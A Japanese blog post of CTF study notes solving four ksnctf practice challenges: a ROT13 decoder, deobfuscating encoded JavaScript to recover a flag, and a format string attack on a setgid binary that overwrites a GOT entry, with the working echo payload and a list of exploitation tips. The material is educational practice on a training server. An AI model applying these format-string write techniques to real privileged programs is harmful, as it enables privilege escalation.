【ksnctf】復習用メモ①

# 概要
基礎からCTFを始めようと思い、<a href="https://ksnctf.sweetduet.info/">ksnctf<a/>を触ってみた。
忘れそうなので解法を随時メモ書きとして記載していく予定。

# 今回取り扱う問題
\#1: Test Problem
\#2: Easy Cipher
\#3: Crawling Chaos
\#4: Villager A

## 1. Test Problem
そのままやるだけ

## 2. Easy Cipher
ふつうのシーザー暗号（Caesar cipher）なのでROT13する。
以下のサイトで変換した。

https://tools.m-bsys.com/original_tooles/optional_rotN.php

Pythonでも書ける。だいたいこんな感じ。

```python
import string

target = input()
rot_n = int(input())
upcase = string.ascii_uppercase
lowcase = string.ascii_lowercase
numchars = len(upcase)
ans = ""
for c in target:
    if c in upcase:
        base = ord(upcase[0])
        ans += chr((ord(c)-base+rot_n)%(numchars)+base)
    elif c in lowcase:
        base = ord(lowcase[0])
        ans += chr((ord(c)-base+rot_n)%(numchars)+base)
    else:
        ans += c

print(ans)

```

## 3. Crawling Chaos

とりあえずF12でソース見たら怪文書があった。
パッと見て思い浮かんだのはBrainfuckの<a href="https://github.com/masarakki/nyaruko_lang">***Nyaruko***<a/>だったので調べるとどうやら以下のサイトでjsのコードをニャルラトホテプ化してくれるらしい。

https://sanya.sweetduet.info/unyaencode/

jsであることがわかったのでブラウザ上でステップ実行した。
途中、コードが\uXXXXのような形式で表現されていたため`echo -e "\uXXXX"`を実行して復号するとjsのコードが取得できた。

```javascript
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
```

あとはこれを解くようなコードを書いて終わり。

```javascript
var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
for(i=0;i<p.length;i++)console.log(`${String.fromCharCode(p[i]/(i+1))}`)
```

## 4. Villager A
SSHでサーバに接続するとカレントディレクトリにq4（実行ファイル）とflag.txtの2つのファイルがあった。
flag.txtはq4aというグループに所有権があり、直接見ることはできない。
一方q4はsetgidアクセス権がついており、q4aとして実行できるのでここに攻撃してファイルを開く任意コードを実行するんだろうな～、と思った。

幸いなことにプログラム内にflag.txtを読む処理があり、jmp系の処理で未到達コードになっているだけだったので、関数のリターン先とGOTの書き換えを試みた。
その結果、書式文字列攻撃でputs@plt内にあるGOTのアドレスを書き換えることで成功した。

位置指定パラメータを使うのは初めてだったため苦戦したが、理解さえできればすぐ書けたので良かった。

```bash
# puts@plt内のGOTアドレス（0x080499f4～0x080499f7）に1byteずつ%hhnで書き込み
# 自分が入力した文字列は6番目の引数以降にあるので位置指定パラメータを使う
$ echo -ne "\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6\$hhn%245c%7\$hhn%126c%8\$hhn%4c%9\$hhn" | ./q4
```


詳細な解法については以下のサイトに載っているので解説はそこに譲ります。

https://kaage.hatenablog.com/entry/2021/04/01/172249

https://qiita.com/yyamada_bigtree/items/5814987cfe420ee2d5df


### Reversing,Pwn系の問題を解く時のメモ

- **自分の入力が返ってくる**ようなときは`printf(str)`のタイプかも → **書式文字列攻撃**の検討
- 書式文字列攻撃ができそうなら**%p**や**%x**でスタックの中身を確認
    - 特に**自分の入力が格納されるメモリアドレス**が判明すれば位置指定パラメータと%nで任意アドレスへの書き込みができる
    - %nは**%hn**や**%hhn**で2byte/1byteの書き込みができる（**範囲外の上位桁は落とされる**ので該当箇所の値のみ合っていればよい）
    - %.0sを使うことで文字を出力せずスタック参照を次に進めることができるので位置指定パラメータが使えない時はそれで代用できる
- 今回は通用しなかったが、文字列の長さを増やしてオーバーフローさせリターン先を書き換えさせる問題もありそう
- `echo -ne "\xNN" | ./prog`や`python3 -c "print('a'*1024)" | ./prog`とかで入力を渡せる
- `objdump -d -M intel ./prog`で逆アセンブルできる


# まとめ
まだ序盤だがかなりやりごたえがあると感じた。
コストをあまりかけずに調べられる部分を見落としてしまい、話を難しく持っていってしまいがちなので気をつけていきたい。

その日の気分で<a href="https://picoctf.org/">picoCTF<a/>の過去問（picoGym）や<a href="https://ctf.cpaw.site/index.php">CpawCTF<a/>をやっているのでそれらのwriteup等も出す予定（CpawCTFについては解法の公開が歓迎されていなさそうなので未定）。